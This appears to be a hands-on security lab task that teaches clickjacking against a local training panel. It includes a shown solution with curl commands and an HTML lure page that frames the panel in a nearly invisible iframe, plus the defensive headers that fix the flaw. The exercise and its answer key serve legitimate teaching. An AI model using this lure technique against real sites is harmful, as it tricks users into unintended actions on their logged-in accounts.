Build a clickjacking proof-of-concept
The account panel at /app/panel is served with no frame-protection header, so it can be framed. Capture the marker flag from the panel, then build a clickjacking proof-of-concept: an HTML file in your home that loads the panel in an <iframe>.
How it works: the terminal below is a real Linux machine running in your browser. Click it and
type. Tasks tick themselves off as you complete them; questions are answered in the box under each task.
Press Reset any time for a fresh machine. Your password on this machine (for
sudo) is student.
Solution explanation
The panel set no X-Frame-Options or frame-ancestors, so your PoC could load it in an invisible iframe and harvest a logged-in victim's clicks. Send frame-ancestors 'none' (and X-Frame-Options: DENY) on every sensitive page, and use SameSite cookies so a framed page can't carry the victim's session.
Show solution
cd /home/student
curl -s -i http://127.0.0.1:8080/app/panel | head -6
curl -s http://127.0.0.1:8080/app/panel | tee loot.txt
cat > clickjack.html <<'EOF'
<!doctype html>
<h1>You won a prize! Click below to claim.</h1>
<iframe src="http://127.0.0.1:8080/app/panel" style="opacity:0.02;position:absolute;top:0;left:0;width:500px;height:400px"></iframe>
EOF
cat clickjack.html